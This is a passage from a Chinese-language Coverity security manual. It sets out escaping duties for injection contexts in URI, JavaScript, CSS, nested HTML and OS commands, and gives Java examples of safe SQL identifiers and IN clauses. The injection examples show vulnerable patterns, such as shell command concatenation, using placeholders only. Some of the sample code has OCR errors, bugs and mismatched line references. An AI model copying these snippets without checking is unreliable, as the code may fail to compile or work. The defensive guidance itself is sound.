父上下文是 HTML 双引号引起的属性上下文（请参阅Section 6.4.6，“HTML：双引号引起的属性”），并以 URI 作为子上下文。

子上下文的范围不存在理想的安全义务，因为各个子上下文可能具有更具体的要求。

根据 RFC，下面的字符可以直接处于 URI 查询上下文内：

- 0-9 ( U+0030 到 U+0039 )
- A-Z ( U+0041 到 U+005A )
- a-z ( U+0061 到 U+007A )
- 感叹号 ( ! , U+0021 )
- 美元符号 ( \$ , U+0024 )
- & 符号 ( & , U+0026 )
- 单引号 ( ' , U+0027 )
- 左圆括号 ( ( , U+0028 )
- 右圆括号 ( ) , U+0029 )
- 星号 ( \* , U+002A )
- 加号 ( + , U+002B )
- 逗号 ( , , U+002C )
- 减号 ( - , U+002D )

- 句号 ( . , U+002E )
- 冒号 ( : , U+003A )
- 分号 ( ; , U+003B )
- 等于号 ( = , U+003D )
- At 符号 ( @ , U+0040 )
- 下划线 ( \_ , U+005F )
- 波形符 ( ~ , U+007E )

其中一部分字符应该进一步进行百分号编码，这样它们就不会被解释为查询键/值分隔符。

- & 符号 ( & , U+0026 )
- 冒号 ( : , U+003A )
- 分号 ( ; , U+003B )
- 等于号 ( = , U+003D )

其中一些字符存在针对父上下文的安全义务，例如单引号。最低安全义务对所有非字母数字值使用百分号编码转义。

Coverity 提供了 Section 6.4.25，“净化器 (Sanitizer)”，此转义库适用于符合针对 URI 查询的类似 RFC 合规，同时符合其他上下文安全义务的 URI。

#### 6.4.12. JavaScript：双引号引起的字符串

ECMA 262 定义了 ECMAScript 语言 [↗](#)，JavaScript 是其通用术语。该标准在 ECMA PDF 文件的第 7.8.4 小节为 ‘ 和 “ 字符串定义了字符串常量语法。

注入示例：

```
var blogComment = 'TAINTED_DATA_HERE';
logBlogComment(blogComment, "TAINTED_DATA_HERE_TOO");
```

理想的安全义务通过转义、筛选或验证阻止插入以下字符。这些字符可能会结束或更改上下文。

- 退格符 ( U+0008 )
- 制表符 ( U+0009 )
- 换行符 ( U+000A )
- 垂直制表符 ( U+000B )
- 换页符 ( U+000C )

- 回车符 ( U+000D )
- 双引号 ( " , U+0022 )
- 单引号 ( ' , U+0027 )
- 反斜杠 ( \ , U+005C )
- 行分隔符 ( U+2028 )
- 段落分隔符 ( U+2029 )

最低安全义务阻止插入匹配引号字符和反斜杠。虽然包含行格式化字符会导致合规的 JavaScript 分析器发生分析错误，但不会产生 XSS 缺陷。

Coverity 提供了 Section 6.4.25，“净化器 (Sanitizer)”，此转义库适用于符合理想安全义务的 JavaScript 字符串。

#### 6.4.13. JavaScript : 单引号引起的字符串

请参阅Section 6.4.12，“JavaScript : 双引号引起的字符串”

#### 6.4.14. JavaScript : 单行注释

ECMA 262 定义了 ECMAScript 语言 [↗](#)，JavaScript 是其通用术语。该标准在 ECMA PDF 文件的第 7.4 小节定义了多行 ( 块 ) 和单行注释语法。

注入示例：

```
var testReturn = "testBlogReturn" // TAI
var testScript = "testBlog"; /* TAI
```

理想的安全部分通过仅筛选或验证阻止插入以下字符。从技术层面来说，这些上下文不具有转义机制。这些字符可能会结束或更改上下文。

- 换页符 ( U+000C )
- 回车符 ( U+000D )
- 星号 ( \* , U+002A )
- 斜杠 ( 斜线 , / , U+002F )
- 行分隔符 ( U+2028 )
- 段落分隔符 ( U+2029 )

最低安全部分阻止向此上下文中插入被污染的数据。

#### 6.4.15. JavaScript : 多行注释

请参阅“Section 6.4.14，“JavaScript : 单行注释””。

#### 6.4.16. JavaScript : 代码

ECMA 262 定义了 ECMAScript 语言 [↗](#) , JavaScript 是其通用术语。



##### Note

此上下文包括一些父上下文。

注入示例 :

```
...
```

父上下文是 HTML 双引号引起的属性 ( 请参阅Section 6.4.6, “HTML : 双引号引起的属性” ) 。 onclick DOM 事件将该属性值作为 JavaScript 执行。

理想的安全部务包括仅插入下面的字符。此上下文不支持任何转义。

- 0-9 ( U+0030 到 U+0039 )
- A-Z ( U+0041 到 U+005A )
- a-z ( U+0061 到 U+007A )

由于此类上下文的复杂性 , 因此不存在最低安全部务。应该避免此类上下文。如果需要将被污染的值动态插入此上下文 , 则只允许预定义的值列表 , 或向已知的安全前缀追加筛选后的字符。

#### 6.4.17. JavaScript : 正则表达式

ECMA 262 定义了 ECMAScript 语言 [↗](#) , JavaScript 是其通用术语。该标准在 ECMA PDF 文件的第 7.8.5 小节定义了正则表达式 (regexp) 语法。

注入示例 :

```
var isReturn = "blogReturn".match(/TAINTED_DATA_HERE/);
```

理想的安全部务通过 JavaScript 反斜杠或 Unicode 转义阻止插入以下字符 :

- 退格符 ( U+0008 )
- 制表符 ( U+0009 )
- 换行符 ( U+000A )
- 垂直制表符 ( U+000B )
- 换页符 ( U+000C )
- 回车符 ( U+000D )

- 斜杠 ( 斜线 , / , U+002F )
- 反斜杠 ( \ , U+005C )
- 感叹号 ( ! , U+0021 )
- 美元符号 ( \$ , U+0024 )
- 左圆括号 ( ( , U+0028 )
- 右圆括号 ( ) , U+0029 )
- 星号 ( \* , U+002A )
- 加号 ( + , U+002B )
- 减号 ( - , U+002D )
- 句号 ( . , U+002E )
- 问号 ( ? , U+003F )
- 左方括号 ( [ , U+005B )
- 右方括号 ( ] , U+005D )
- 脱字符 ( ^ , U+005E )
- 左花括号 ( { , U+007B )
- 竖线 ( | , U+007C )
- 右花括号 ( } , U+007D )
- 行分隔符 ( U+2028 ) : 仅限 Unicode 转义。
- 段落分隔符 ( U+2029 ) : 仅限 Unicode 转义。

由于此类上下文的复杂性，因此不存在最低安全义务。应该遵守理想义务。

Coverity 提供了 Section 6.4.25，“净化器 (Sanitizer)”，此转义库适用于符合理想安全义务的 JavaScript 正则表达式。

#### 6.4.18. CSS

CSS 级别 2 修订 1 在此处定义 (<http://www.w3.org/TR/CSS2/>)。

```
<style>
TINTED_DATA_HERE
...</style>
```

```
</style>
```

父上下文是 HTML 原始文本（请参阅Section 6.4.1，“HTML：原始文本块”）上下文，并以 CSS 作为子上下文。

理想的安定义务包括仅插入下面的字符。此上下文不支持任何转义。这些字符可能会更改或结束上下文。

- 0-9 ( U+0030 到 U+0039 )
- A-Z ( U+0041 到 U+005A )
- a-z ( U+0061 到 U+007A )

由于此类上下文的复杂性，因此不存在最低安定义务。应该避免此类上下文。如果需要将被污染的值动态插入此上下文，则只允许预定义的值列表，或向已知的安全前缀追加筛选后的字符。

### 6.4.18.1. CSS 双引号引起的字符串

CSS 级别 2 修订 1 (CSS 2.1) 定义了单引号 ( '，U+0027) 和双引号 ( "，U+0022) 引起的字符串<sup>5</sup>。这些字符串也在 URL 引号引起的上下文<sup>5</sup> 中使用，而且在该上下文中具有相同的义务。

注入示例：

```
span[id="TAINTED_DATA_HERE"] {
background-color:#ff00ff;
}
```

理想的安定义务通过反斜杠转义或 Unicode 转义阻止插入以下字符。

- Null ( U+0000 )：不能进行反斜杠转义。可以进行 Unicode 转义、筛选或验证。
- 制表符 ( U+0009 )
- 换行符 ( U+000A )：不能进行反斜杠转义。可以进行 Unicode 转义、筛选或验证。
- 换页符 ( U+000C )：不能进行反斜杠转义。可以进行 Unicode 转义、筛选或验证。
- 回车符 ( U+000D )：不能进行反斜杠转义。可以进行 Unicode 转义、筛选或验证。
- 空格 ( U+0020 )
- 双引号 ( "，U+0022 )
- 单引号 ( '，U+0027 )
- 左圆括号 ( (，U+0028 )
- 右圆括号 ( )，U+0029 )
- 反斜杠 ( \，U+005C )

最低安全义务通过 Unicode 转义阻止插入匹配引号、反斜杠和行格式化字符。CSS 2.1 未定义样式表包含 null 时会发什么情况。

Coverity 发布了 Section 6.4.25, “净化器 (Sanitizer)”, 此转义库适用于符合理想安全义务的 CSS 字符串。

#### 6.4.18.2. CSS 单引号引起的字符串

有关 CSS 级别 2 修订 1 (CSS 2.1) 的信息 , 请参阅Section 6.4.18.1, “CSS 双引号引起的字符串”。

#### 6.4.18.3. CSS : 双引号引起的 URI

有关 CSS 级别 2 修订 1 (CSS 2.1) 的信息 , 请参阅Section 6.4.18.1, “CSS 双引号引起的字符串”。

#### 6.4.18.4. CSS 单引号引起的 URI

有关 CSS 级别 2 修订 1 (CSS 2.1) 的信息 , 请参阅Section 6.4.18.1, “CSS 双引号引起的字符串”。

#### 6.4.19. CSS : 无引号的 URI

CSS 级别 2 修订 1 (CSS 2.1) 定义了 URL 上下文 。URL 可以包含双引号引起的、单引号引起的或无引号的值。此上下文定义了无引号的值。

注入示例 :

```
body { background: url(TINTED_DATA_HERE) }
```

理想的安全部分通过反斜杠转义或 Unicode 转义阻止插入以下字符。

- Null ( U+0000 ) : 不能进行反斜杠转义。可以进行 Unicode 转义、筛选或验证。
- 制表符 ( U+0009 )
- 换行符 ( U+000A ) : 不能进行反斜杠转义。可以进行 Unicode 转义、筛选或验证。
- 换页符 ( U+000C ) : 不能进行反斜杠转义。可以进行 Unicode 转义、筛选或验证。
- 回车符 ( U+000D ) : 不能进行反斜杠转义。可以进行 Unicode 转义、筛选或验证。
- 空格 ( U+0020 )
- 双引号 ( " , U+0022 )
- 单引号 ( ' , U+0027 )
- 左圆括号 ( ( , U+0028 )
- 右圆括号 ( ) , U+0029 )
- 反斜杠 ( \ , U+005C )

应该避免此类上下文 , 并通过在 URL 两侧添加双引号重构 ; 例如 :

```
body { background: url("TAINTED_DATA_HERE") }
```

您应该遵循关于 Section 6.4.18.3, “CSS : 双引号引起的 URI”的指导。建议不要使用单引号引起的上下文，因为很多 URI 编码器不会编码位于查询中的单引号。

#### 6.4.20. CSS : 注释

CSS 级别 2 修订 1 (CSS 2.1) 为 CSS 注释定义了 (<http://www.w3.org/TR/CSS2/syndata.html#comments>) 语法。

注入示例：

```
p.noclass {
background-color:#c0ffee;
} /*TAINTED_DATA_HERE*/
```

理想的安全部务通过筛选或验证阻止插入星号 ( \* , U+002A ) 和斜杠 ( / , U+002F ) 字符。此上下文不支持任何转义，因为反斜杠不会被识别为转义字符。

最低安全部务阻止向此上下文中插入被污染的数据。

#### 6.4.21. 嵌套上下文

在 HTML 中，很多上下文可以嵌套在其他上下文中。常见的上级或父上下文是 HTML 原始文本（请参阅 Section 6.4.1, “HTML : 原始文本块”）和 HTML 脚本（请参阅 Section 6.4.2, “HTML : 脚本块”）。常见的下级或子（有时为孙级）上下文是 URI 和 JavaScript 字符串。

在 SQL 中，上下文通常是平行展开，而不是嵌套。

嵌套上下文的安全部务从最后一级后代上下文开始，到最上一级祖系上下文为止。有时，通过适合其上下文的转义，后代或子上下文也能符合父或祖系上下文的安全部务。常见示例为 JavaScript 字符串转义函数（请参阅 Section 6.4.12, “JavaScript : 双引号引起的字符串”）。它们通常会转义对 JavaScript 上下文没有安全部务的斜杠 ( / , U+002F ) 字符。但是，针对 JavaScript 字符串的常见父上下文是 HTML 脚本（请参阅 Section 6.4.2, “HTML : 脚本块”）上下文。当子上下文使用反斜杠 ( \ , U+005C ) 转义斜杠时，它会将序列 </ 分离成 <\/，以符合父安全部务。

注入示例（注入到嵌套上下文中）：

```
<span xml:id="blogComment" onmouseover="doMouseOver('blogComment',
'TAINTED_DATA_HERE');">
View blog comment

```

祖系上下文是 onmouseover HTML 双引号引起的属性（请参阅 Section 6.4.6, “HTML : 双引号引起的属性”）。onmouseover 属性是将其值作为 JavaScript 执行的浏览器 DOM 事件。在此示例中，通过两个单引号引起的字符串参数（其中一个被污染，请参阅 Section 6.4.13, “JavaScript : 单引号引起的字符串”）调用了 JavaScript 函数 doMouseOver。要符合安全部务，需要针对 JavaScript 单引号引起的上下文净

化被污染的数据。然后，需要针对 HTML 双引号引起的属性上下文净化得到的值。直到这时，被污染的数据对所有上下文来说才得到了足够的净化。如果净化顺序不正确，初始缺陷可能继续存在。

#### 6.4.22. 不明确的 & 符号

如果在字符引用中使用了 & 符号，但该字符引用不是标准的或已识别的引用 [🔗](#)，则会出现不明确的 & 符号。

#### 6.4.23. HTML : 空白字符

HTML5 对空格字符 [🔗](#) 的定义如下：

- 制表符 ( U+0009 )
- 换行符 ( U+000A )
- 换页符 ( U+000C )
- 回车符 ( U+000D )
- 空格 ( U+0020 )

#### 6.4.24. HTML : 控制字符或未定义的 Unicode 字符

HTML5 定义了以下 ( 控制或未定义的 Unicode 字符 [🔗](#) )。

控制字符：

- U+0001 更改为 U+0008
- U+000B
- U+000E 更改为 U+001F
- U+007F 更改为 U+009F

未定义的 ( 非字符 ) Unicode 字符：

- U+FDD0 更改为 U+FDEF
- U+FFFE 、 U+FFFF 、 U+1FFE 、 U+1FFF 、 U+2FFE 、 U+2FFF 、 U+3FFE 、 U+3FFF 、 U+4FFE 、 U+4FFF 、 U+4FFF 、 U+5FFE 、 U+5FFF 、 U+6FFE 、 U+6FFF 、 U+7FFE 、 U+7FFF 、 U+8FFE 、 U+8FFF 、 U+9FFE 、 U+9FFF 、 U+AFFE 、 U+AFFF 、 U+BFFE 、 U+BFFF 、 U+CFFE 、 U+CFFF 、 U+DFFE 、 U+DFFF 、 U+EFFE 、 U+EFFFE 、 U+FFFFE 、 U+FFFFF 、 U+10FFE 、 U+10FFF

#### 6.4.25. Coverity 净化器 (Sanitizer)

在 GitHub ( 请参阅 Section 6.1.7, “ 净化器 (Sanitizer) 库” ) 中，Coverity 针对以下上下文提供了 Java 和 C# 开源净化器 (Sanitizer)：

- HTML 元素：请参阅Section 6.4.4, “HTML : PCDATA 块”。
- HTML 属性值：请参阅Section 6.4.6, “HTML : 双引号引起的属性”。
- JavaScript 字符串：请参阅Section 6.4.12, “JavaScript : 双引号引起的字符串”。
- JavaScript 正则表达式：请参阅Section 6.4.17, “JavaScript : 正则表达式”。
- CSS 字符串：请参阅Section 6.4.18.1, “CSS 双引号引起的字符串”。
- SQL LIKE 字符串：请参阅Section 6.3.6, “SQL 字符串”。

要开始使用 Java 净化器 (Sanitizer)，请执行以下步骤：

1. 包括进您的 Java 项目、类路径或 WEB-INF/lib 目录。
2. 将类导入到您的文件中。
3. 按照正确的顺序应用正确的转义函数。

## 6.5. 操作系统注入命令上下文

### 6.5.1. 被污染的 OS 命令

操作系统命令的名称或此代码中的可执行项属于被污染的数据的一部分。此问题的严重性可能从轻度到中等，因为它限于可继续与当前 switch 语句配合使用的命令。

注入示例：

```
String command = TAINTED_DATA_HERE
+ " -c -f output.txt";
```

对被污染的数据执行常规筛选或转义可能并不够，因为可能会选择其他合法但可能未经授权的命令名称。执行以下操作可提高此类代码的安全性：

1. 如果需要，可使用 Oracle Java API 的以下数组或列表版本：  
(`java.lang.Runtime.exec(String[])` 或 (`java.lang.ProcessBuilder`))。
2. 为所有可能的命令名称定义常量值。
3. 将这些值映射为直接引用，只对用户显示索引。
4. 根据用户提供的索引值选择常量值。
5. 将选择的值传递给 API。

针对特定技术提供修复建议和代码的示例：

- `Runtime.exec`：请参阅Section 6.6.3.1, “操作系统命令注入命令被污染：Runtime.exec”。

- `ProcessBuilder` : 请参阅Section 6.6.3.2, “操作系统命令注入命令被污染：`ProcessBuilder`”。

### 6.5.2. 完全被污染的 OS 命令

此代码将名称、选项和选项字符串传递给操作系统命令或完整构成被污染的数据的可执行项。此问题的严重性非常高，因为它意味着被攻击者完全控制。

注入示例：

```
String command = TAINTED_DATA_HERE;
```

由于不同的命令子上下文的复杂性，对被污染的数据执行常规筛选或转义并不够。执行以下操作可提高此类代码的安全性：

1. 如果需要，可使用 Oracle Java API 的以下数组或列表版本：  
( `java.lang.Runtime.exec(String[])` ) 或 ( `java.lang.ProcessBuilder` )。
2. 为所有可能的命令名称、选项和选项字符串定义常量字符串值。
3. 将这些值映射为直接引用，只对用户显示索引。
4. 根据用户提供的索引值选择常量值。
5. 将选择的值传递给 API。

针对特定技术提供修复建议和代码的示例：

- `Runtime.exec` : 请参阅Section 6.6.3.3, “操作系统命令注入命令完全被污染：`Runtime.exec`”。
- `ProcessBuilder` : 请参阅Section 6.6.3.4, “操作系统命令注入命令完全被污染：`ProcessBuilder`”。

### 6.5.3. 不安全的命令解释器参数 OS 命令

此代码允许攻击者控制操作系统命令解释器的参数。此问题的严重性可能从轻度到极高。虽然，在某些情况下，它不会为攻击者提供任何控制权，但在另一些情况下，它可能为攻击者提供在服务器上执行任何命令的全部控制权。

注入示例：

```
String command = {"/bin/bash", "-c", "ls "
+ TAINTED_DATA_HERE};
```

由于命令解释器子上下文的复杂性，净化被污染的数据可能并不够。执行以下操作可提高此类代码的安全性：

1. 如果需要，可使用 Oracle Java API 的以下数组或列表版本：  
( `java.lang.Runtime.exec(String[])` ) 或 ( `java.lang.ProcessBuilder` )。
2. 为所有可能的选项名称或选项字符串值定义常量字符串值。
3. 将这些值映射为直接引用，只对用户显示索引。

4. 根据用户提供的索引值选择常量值。
5. 将选择的值传递给 API。
6. 请安全专家或系统专家审核最终的命令。

针对特定技术提供修复建议和代码的示例：

- `Runtime.exec`：请参阅Section 6.6.3.7, “操作系统命令注入选项：`Runtime.exec`”。
- `ProcessBuilder`：请参阅Section 6.6.3.8, “操作系统命令注入选项：`ProcessBuilder`”。

#### 6.5.4. 不安全的其他参数 OS 命令

此代码允许攻击者控制操作系统命令的参数（可能被操纵执行危险操作）。此问题的严重性可能从轻度到极高。虽然，在某些情况下，它不会为攻击者提供任何控制权，但在另一些情况下，它可能为攻击者提供在服务器上执行任何命令的全部控制权。

注入示例：

```
String command = "/usr/bin/find . -name + TAI
NTED DATA HERE";
```

虽然净化被污染的数据可能已经足以移除特定命令行选项，但您应该确保净化不会被绕过。由于存在未正确净化被污染的数据的风险，因此您应该执行以下操作：

1. 如果需要，可使用 Oracle Java API 的以下数组或列表版本：  
(`java.lang.Runtime.exec(String[])` 或 (`java.lang.ProcessBuilder`))。
2. 为所有可能的选项名称或选项字符串值定义常量字符串值。
3. 将这些值映射为直接引用，只对用户显示索引。
4. 根据用户提供的索引值选择常量值。
5. 将选择的值传递给 API。
6. 请安全专家或系统专家审核最终的命令。

针对特定技术提供修复建议和代码的示例：

- `Runtime.exec`：请参阅Section 6.6.3.5, “操作系统命令注入不安全：`Runtime.exec`”。
- `ProcessBuilder`：请参阅Section 6.6.3.6, “操作系统命令注入不安全：`ProcessBuilder`”。

#### 6.5.5. 操作系统命令行选项

此代码将被污染的数据连接到或传递给命令。操作系统命令的名称未知。此问题的严重性可能从轻度到极高。如果不知道命令具有不安全的其他作用，则严重性为轻度。如果命令可能具有不安全的其他作用，则严重性与其他作用一样危险。

注入示例：

```
String command = "somecommand.exe /F "
+ TAIITED_DATA_HERE;
```

如果正确执行了净化，净化被污染的数据可能已经足够。但是，一定要了解命令的细微差别。执行以下操作可提高此类代码的安全性：

1. 验证操作系统命令是否安全。请参阅Section 6.5.3, “不安全的命令解释器参数 OS 命令”和Section 6.5.4, “不安全的其他参数 OS 命令”。
2. 如果需要，可使用 Oracle Java API 的以下数组或列表版本：  
( `java.lang.Runtime.exec(String[])` ) 或 ( `java.lang.ProcessBuilder` )。
3. 如果可以，为所有可能的选项名称或选项字符串值定义常量字符串值。将这些值映射为直接引用，只对用户显示键或索引。根据用户提供的被污染的值选择常量值。如果有效，则在命令中使用该常量值。
4. 如果需要对命令使用动态被污染的数据，如果可以，可通过将被污染的数据转换为安全的类型（例如整数）净化此类数据。
5. 如果需要对命令使用动态被污染的字符串数据，可通过安全的方式净化此类数据，以确保其无法更改命令的目的（尤其是对于不安全的命令）。
6. 将命令传递给 API。
7. 请安全专家或系统专家审核最终的命令。

针对特定技术提供修复建议和代码的示例：

- `Runtime.exec`：请参阅Section 6.6.3.7, “操作系统命令注入选项：`Runtime.exec`”。
- `ProcessBuilder`：请参阅Section 6.6.3.8, “操作系统命令注入选项：`ProcessBuilder`”。

### 6.5.6. 未知的 OS 命令

此代码将被污染的数据传递给可执行操作系统命令或进程的 API。但是，被污染数据的上下文或所执行命令的类型未知。此问题的严重性可能从轻度到极高。如果不知道命令具有不安全的其他作用，则严重性为轻度。如果命令可能具有不安全的其他作用，则严重性与其他作用一样危险。

检查命令，并参考以下其中一个小节中提供的指导：

- Section 6.5.1, “被污染的 OS 命令”
- Section 6.5.5, “操作系统命令行选项”

## 6.6. Web 应用程序安全示例

### 6.6.1. SQL 代码示例

### 6.6.1.1. SQL 标识符 JDBC

下面的示例使用通过 `HashMap` 进行的间接引用来添加应用程序使用的 SQL 标识符。

#### Constants.java

```
5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("FETCH10", "FETCH FIRST 10 ROWS ONLY");
14 //...
15 return Collections.unmodifiableMap(m);
16 }
17}
```

#### SomeDAO.java

```
23 public List<Order> getAllOrders(final String userInput) {
24 [...]
25 String untainted = Constants.knownGoodValues.get(userInput);
26 if (untainted != null) {
27 try {
28 String paramQuery = "SELECT
29 * FROM table " + untainted;
30 PreparedStatement prepStmt = connection.prepareStatement(paramQuery);
31 prepStmt.executeQuery();
32 [...]
33 } else {
34 // log event as potential security tampering...
35 }
36 }
37}
```

安全问题的发展：

- `Constants.java (10)`：向 `HashMap` 中添加了一系列常用 SQL 语句片段。
- `SomeDAO.java (23)`：将被污染的值 `userInput` 传递给了方法。
- `SomeDAO.java (80)`：根据映射检查被污染的值。
- `SomeDAO.java (83)`：如果用户提供诸如 `FETCH10` 的值，该值会被连接到 SQL 语句。如果用户提供了无效的值，应用程序可能会将其记录为可疑项或执行某些其他操作。

### 6.6.1.2. SQL 标识符 HQL

下面的示例使用通过 `HashMap` 进行的间接引用来添加应用程序使用的 SQL 标识符。

### Constants.java

```
5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("DESC", "DESC");
14 //...
15 return Collections.unmodifiableMap(m);
[...]
```

### SomeDAO.java

```
23 public List<Order> getAllOrders(final String userInput) {
[...]
80 String untainted = Constants.knownGoodValues.get(userInput);
81 if (untainted != null) {
82 try {
83 Query query = sess.createQuery("from Orders orders order by orders.item "
+ untainted);
[...]
91 } else {
92 // log event as potential security tampering...
[...]
```

### 安全问题的发展：

- Constants.java (10)：向 HashMap 中添加了一系列常用 SQL 语句片段。
- SomeDAO.java (23)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (80)：根据映射检查被污染的值。
- SomeDAO.java (83)：如果用户提供诸如 ASC 的值，该值会被连接到 SQL 语句。如果用户提供了无效的值，应用程序可能会将其记录为可疑项或执行某些其他操作。

#### 6.6.1.3. SQL 标识符 Hibernate 本机查询

下面的示例使用通过 HashMap 进行的间接引用添加应用程序使用的 SQL 标识符。

### Constants.java

```
Constants.java:
5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
```

```
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("DESC", "DESC");
14 //...
15 return Collections.unmodifiableMap(m);
16 }
17}
```

### SomeDAO.java

```
23 public List<Order> getAllOrders(final String userInput) {
24 [...]
25 String untainted = Constants.knownGoodValues.get(userInput);
26 if (untainted != null) {
27 try {
28 String paramQuery = "SELECT * FROM table " + untainted;
29 PreparedStatement prepStmt = connection.prepareStatement(paramQuery);
30 prepStmt.executeQuery();
31 }
32 } else {
33 // log event as potential security tampering...
34 }
35 }
```

安全问题的发展：

- Constants.java (10)：向 HashMap 中添加了一系列常用 SQL 语句片段。
- SomeDAO.java (23)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (80)：根据映射检查被污染的值。
- SomeDAO.java (83)：如果用户提供诸如 ASC 的值，该值会被连接到 SQL 语句。如果用户提供了无效的值，应用程序可能会将其记录为可疑项或执行某些其他操作。

#### 6.6.1.4. SQL 标识符 JPQL

下面的示例使用通过 HashMap 进行的间接引用来添加应用程序使用的 SQL 标识符。

### Constants.java

```
5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
```

```
12 m.put("ASC", "ASC");
13 m.put("DESC", "DESC");
14 //...
15 return Collections.unmodifiableMap(m);
[...]
```

### SomeDAO.java

```
23 public List<Order> getAllOrders(final String userInput) {
[...]
80 String untainted = Constants.knownGoodValues.get(userInput);
81 if (untainted != null) {
82 try {
83 Query query = entityManager.createQuery("SELECT o FROM Orders
84 o ORDER BY o.item " + untainted);
[...]
91 } else {
92 // log event as potential security tampering...
[...]
```

安全问题的发展：

- Constants.java (10)：向 HashMap 中添加了一系列常用 SQL 语句片段。
- SomeDAO.java (23)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (80)：根据映射检查被污染的值。
- SomeDAO.java (83)：如果用户提供诸如 ASC 的值，该值会被连接到 SQL 语句。如果用户提供了无效的值，应用程序可能会将其记录为可疑项或执行某些其他操作。

#### 6.6.1.5. SQL 标识符 : JPA 本机查询

下面的示例使用通过 HashMap 进行的间接引用添加应用程序使用的 SQL 标识符。

### Constants.java

```
5 class Constants {
6 public static final Map<String, String> knownGoodValues = null;
7 static {
8 knownGoodValues = initializeSql();
9 }
10 private static Map<String, String> initializeSql() {
11 Map<String, String> m = new HashMap<String, String>();
12 m.put("ASC", "ASC");
13 m.put("DESC", "DESC");
14 //...
15 return Collections.unmodifiableMap(m);
[...]
```

### SomeDAO.java

```
23 public List<Order> getAllOrders(final String userInput) {
[...]
80 String untainted =
 Constants.knownGoodValues.get(userInput);
81 if (untainted != null) {
82 Query query = entityManager.createNativeQuery("SELECT
 * FROM table ORDER BY user " + untainted);
[...]
91 } else {
92 // log event as potential security tampering...
[...]
```

安全问题的发展：

- Constants.java (10)：向 HashMap 中添加了一系列常用 SQL 语句片段。
- SomeDAO.java (23)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (80)：根据映射检查被污染的值。
- SomeDAO.java (82)：如果用户提供诸如 ASC 的值，该值会被连接到 SQL 语句。如果用户提供了无效的值，应用程序可能会将其记录为可疑项或执行某些其他操作。

#### 6.6.1.6. SQL IN 子句 : JDBC

下面的示例使用 helper 方法基于某些列表生成 SQL 片段。然后将该片段连接到 SQL 语句。

### SQLUtils.java

```
11 public static String generateSqlInFragmentJdbc(List<String> taintedList) {
12 int listlen = taintedList.size();
13 if (listlen < 1)
14 return "";
15 StringBuilder params = new StringBuilder(taintedList.size()*2);
16 params.append("(");
17 for (int i=0; i < listlen - 1; i++) {
18 params.append(",?");
19 }
20 return params.toString();
21 }
22 }
```

### SomeDAO.java

```
17 public List<Order> getOrdersFrom(final String userInput) {
[...]
32 ArrayList<String> taintedList = new ArrayList<String>();
```

```
33 taintedList.add(userInput);

58 String paramQuery = "SELECT * FROM table WHERE column IN
 (" Utils.generateSqlInFragmentJdbc(taintedList) + ")";
59 try {
60 PreparedStatement prepStmt = connection.prepareStatement(paramQuery);
61 for (ListIterator<String> id = taintedList.listIterator(); id.hasNext();)
62 {
63 prepStmt.setString(id.nextInt() + 1, id.next());
64 }
65 prepStmt.executeQuery();
```

安全问题的发展：

- SQLUtils.java (11)：此函数接受 List。它创建了一个由用于列表每个成员的模式 ?,?,...? 组成的 ?,?,...?。
- SomeDAO.java (17)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (32-33)：使用被污染的数据填充了 ArrayList。
- SomeDAO.java (58)：将被污染的列表传递给了 helper 函数，这会将返回的片段连接到 SQL 语句。
- SomeDAO.java (61-62)：通过索引（ JDBC 位置参数从 1 开始）和传递给 setString() 方法的值对被污染的列表进行迭代。

### 6.6.1.7. SQL IN 子句 : HQL

下面的示例直接将一系列被污染的数据绑定到已命名参数。

#### SomeDAO.java

```
17 public List<Order> getOrdersFrom(final String userInput) {
[...]
32 ArrayList<String> taintedList = new ArrayList<String>();
33 taintedList.add(userInput);
[...]
59 try {
60 Query query = sess.createQuery("from Person person
 where person.name in (:state)");
61 query.setParameter("state", taintedList);
```

安全问题的发展：

- SomeDAO.java (17)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (32-33)：使用被污染的数据填充了 ArrayList。
- SomeDAO.java (60-61)：被污染的列表被传递给 Hibernate setParameter() 方法，并被绑定到 state 已命名参数。

#### 6.6.1.8. SQL IN 子句 : Hibernate 本机查询

下面的示例使用 helper 方法基于某些列表生成 SQL 片段。然后将该片段连接到 SQL 语句。

##### SQLUtils.java

```
11 public static String generateSqlInFragmentHibernate(List<String> taintedList)
12 {
13 StringBuilder params = new StringBuilder(taintedList.size()*2);
14 for (int i=0; i < taintedList.size(); i++) {
15 params.append("?");
16 if (i < taintedList.size() - 1)
17 params.append(", ");
18 }
19 return params.toString();
20 }
```

##### SomeDAO.java

```
17 public List<Order> getOrdersFrom(final String userInput) {
18 [...]
32 ArrayList<String> taintedList = new ArrayList<String>();
33 taintedList.add(userInput);
34 [...]
58 String paramQuery = "SELECT * FROM table WHERE column IN (" +
59 SQLUtils.generateSqlInFragmentHibernate(taintedList) + ")";
60 try {
61 SQLQuery query = sess.createSQLQuery(paramQuery);
62 for (ListIterator<String> id = taintedList.listIterator(); id.hasNext();)
63 {
64 query.setParameter(id.nextInt(), id.next());
65 }
66 }
```

安全问题的发展：

- SQLUtils.java (11)：此函数接受 List。它创建了一个由用于列表每个成员的模式 ?,?,...? 组成的 ?,?,...?" , 。
- SomeDAO.java (17)：将被污染的值 userInput 传递给了方法。
- SomeDAO.java (32-33)：使用被污染的数据填充了 ArrayList。
- SomeDAO.java (58)：将被污染的列表传递给了 helper 函数，这会将返回的片段连接到 SQL 语句。
- SomeDAO.java (61-62)：通过索引 ( Hibernate 位置参数从 0 开始 ) 和传递给 setParameter() 方法的值对被污染的列表进行迭代。

### 6.6.1.9. SQL IN 子句 : JPQL

